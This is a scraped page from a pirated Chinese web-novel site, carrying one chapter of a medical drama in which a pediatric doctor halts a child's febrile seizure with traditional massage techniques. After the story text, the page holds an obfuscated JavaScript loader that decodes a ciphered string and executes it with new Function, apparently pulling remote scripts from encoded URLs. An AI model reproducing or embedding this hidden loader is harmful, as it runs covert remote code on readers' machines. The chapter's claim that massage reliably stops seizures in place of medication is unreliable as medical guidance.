第279章 打马过天河,引寒水直压邪火
一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!
第279章打马过天河,引寒水直压邪火(第1/2页)
留观室。
监护仪报警声尖锐的响着。
心率从142跳到158,还在涨,162、168。
男孩眼球向左上方凝视。眼白大面积暴露。
四肢开始细微抽动,幅度越来越大。
下颌僵硬,牙关咬死。
嘴角有白沫溢出。
“高热惊厥!”
李知鸣端着抽好的安定注射液,从治疗室狂奔过来。
“体温40.2度!”
王苗死死按住男孩的肩膀防止坠床,回头大喊。
“建静脉通路!”
李知鸣把注射器递过去。
王苗抓过男孩的手背看了一眼,脸色瞬间煞白。
“不行,血管全塌了!严重脱水加上肌肉痉挛,皮下静脉完全看不见!”
她换了一只手,摸男孩的头皮。
“头皮针也不行!”
值班大夫急了:“建静脉通路最快要两分钟!”
男孩的四肢抽搐剧烈程度还在加重。
全身僵直如弓,脊柱后仰,眼球完全上翻。
两分钟。
足以烧毁中枢神经。
“让开!”
声音从门口传来。
常海洲大步走进留观室。
他扫了一眼监护仪。
心率165,体温40.5。
“药进不去,放血来不及。”
常海洲走到床边,目光锁定男孩的左前臂。
“林易,给我压住他的腿!”
林易反应快,两手按住男孩抽得发硬的腿。
王苗从另一侧固定男孩右臂。
常海洲抓起床头柜上的滑石粉罐子,拧开盖,把白色粉末倒在掌心搓匀。
他左手攥住男孩的左小臂,前臂内侧朝上,暴露出从肘横纹到腕横纹的正中线。
右手食指和中指并起来。
他指腹蘸满滑石粉,从肘横纹起点,沿前臂正中线,猛推向手腕方向。
速度快,力量重。
皮肉摩擦发出清晰的沙沙声。
一次,两次,三次。
每一次推抹,指腹贴紧皮肤,压力深透到筋膜层。
从肘到腕,一寸不漏。
十次,二十次。
常海洲呼吸加重,额头出汗,但手上的动作丝毫不减速。
三十次。
打马过天河。
推完第三十次,常海洲右手手指一屈,从旁边的冷水杯里蘸了一指头冷水。
他指腹按在男孩手心正中。
劳宫穴。
快速的旋转画圈。
逆时针。
每画一圈,手指向指尖方向扇出一下,像在把什么东西从掌心往外赶。
一圈、两圈、五圈、十圈。
冷水在掌心被摩擦蒸干,常海洲再蘸,再画,再扇。
水底捞明月,引寒水直压心包邪火。
“翻过来!”
常海洲嗓音沉厚。
林易和王苗同时动手,将男孩翻成侧卧位,被子掀开,露出脚底。
常海洲的右手拇指按在男孩左脚心的涌泉穴上,揉来不及了,直接开掐,指甲深压进去,力量集中在拇指尖端一个点上。
男孩的脚趾痉挛性弯曲,但常海洲的拇指纹丝不动。
涌泉属足少阴肾经。
肾水之源。
这一重压,强行把上冲头顶的热风拽回下焦。
十秒,二十秒,三十秒。
留观室里只剩下常海洲粗重的呼吸声。
一分钟。
男孩僵直如铁板的身体开始松软。
先是四肢。
抽搐频率从每秒三四次降到一两次,再到偶尔一下。
然后是躯干。
弓形后仰的脊柱慢慢放平。
眼球缓缓回落。
瞳孔重新出现在虹膜正中。
牙关松脱。
白沫停止溢出。
呜哇……
一声细弱的啼哭从男孩喉咙里挤出来。
监护仪上,心率从158开始下降。
140、135、128、120。
定格在112。
监护报警声停了。
常海洲松开拇指,直起腰。
他额头后背上全是汗。
惊厥截断,体温止升。
李知鸣站在床尾。
他手里依然紧紧握着那管没能推出去的安定注射器。
他盯着监护仪上那条从158平稳降到112的心率曲线,半天说不出一句话。
王苗拿体温计塞进男孩腋下。
“等十五分钟复测。”
常海洲的声音恢复了平时的语调。
他转身走出留观室。
(本章未完,请点击下一页继续阅读)第279章打马过天河,引寒水直压邪火(第2/2页)
林易跟了上去。
办公室。
常海洲在水池边用肥皂搓手,搓了三遍,水龙头冲净,拿毛巾擦干。
“林易。”
“在。”
常海洲背对着他,声音发沉。
“下午两点,体温回弹到39.4度。患儿左手拇指往掌心扣,惊厥的前兆出了,你当时为什么不介入?”
林易站在桌边,背挺直。
“体温未破40度临界点。”
“我查过脱水指标,为了防止放血耗损小儿正气,我准备在肝风发动的第一秒,再用十宣放血截断。”
“同时,我已经让护士提前准备了安定,只是没料到血管塌陷……”
林易的方案,进可放血,退可推药,用在成年人身上挑不出任何毛病。
常海洲把毛巾挂回架子,转过身。
“这套方案用在你之前的科室没问题。”
常海洲拉开椅子坐下,目光盯住林易。
“但这里是儿科。”
“小儿是纯阳之体,发病如风,从前兆出现,到高热引发末梢血管痉挛塌陷,不到十分钟,你的针还捏在手里,静脉通路已经打不进去了。”
“治大人,看指标定点。治小儿,重在提前布局。”
常海洲拧开保温杯,喝了口水。
“体温回弹,手指一动,马上上推拿,打马过天河配水底捞明月,以手代针,提前把心包的火撤掉。”
常海洲把杯子重重搁在桌面上。
“等临界点,在儿科就是等死,咱不能现上轿现扎耳朵眼。”
林易低头受教。
“我低估了小儿热毒传变的速度,不会有下次!”
常海洲点点头,目光柔和几分。
“刚来交点学费也正常,但也别有心理负担,毕竟有我顶着呢……去写抢救记录把。”
“是!”
林易转身走向自己的工位。
下午五点。
复测体温:38.1℃,心率98次/分。
男孩醒了,眼珠能跟着手指转动,精神比上午好了一截。
林易下了医嘱,让护士提前埋针。
男孩开始哭闹要喝水。
他母亲眼眶通红,拦住复查体征的林易。
“林大夫……这也没给药,常主任那个搓手心的动作,真能退烧?”
林易在床边拉了把椅子坐下。
“孩子高烧抽搐,颅内压力到达临界值,常主任做的推拿,是蹭穴位刺激神经末梢,让散热中枢反应过来,把颅内高压卸掉。”
母亲听得认真。
“压力解除,气血回撤,抽搐停止,这是通过体表物理通道完成的调节,跟退烧药走的路径不同,但目的一样。”
母亲点头,攥着毛巾的手终于松了。
“谢谢……谢谢林大夫。”
“今晚还要观察。”
林易站起来。
“夜里如果体温再上38.5,按铃叫护士,不要自己处理。”
“好,好。”
……
忙了一天,林易终于下班。
地铁车厢里,林易靠着扶手杆站着。
他打开之前在文献中心下载的《小儿药证直诀》电子版。
急惊风一节。
“急惊之候,身热面赤,引饮喘促,牙关紧急,壮热涎潮。”
他截图收藏,又写下一行备注。
“儿科大推拿手法退热降压,效如桴鼓。打马过天河+水底捞明月+掐涌泉,可作截断扭转首选。”
顿了一下,又补一行。
“教训:体温回弹即为信号,不能等惊厥发作再干预,下次在回弹期就上手。”
晚上十点半。
江锦汇公寓,26楼。
林易终于整理完今天的笔记。
阳台上,素冠荷鼎的叶片在夜风中轻微摆动。
桌面的手机震动了一下。
微信消息。
常海洲发来的一段语音。
“明天提前查房,七点准时,1号床下半夜可能有反复……”
背景音里有明显的风声和水声。
话还没说完,常海洲的语调突然拔高,声音偏离了麦克风:“哎!老刘,你黑漂了!”
语音戛然而止。
林易盯着屏幕。
医院常规早交班是八点。
提前到七点,是要赶在夜班交接前卡一遍1号床的体征底线。
高热惊厥初愈,底层的痰热没清干净,下半夜是体温反弹的高危时段。
林易在输入框敲下一个字:“好。”
发送。
他抬头看了一眼电脑右下角的时间。
22:36。
提前查房?
常主任该不会是夜钓完了没地方去吧?
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();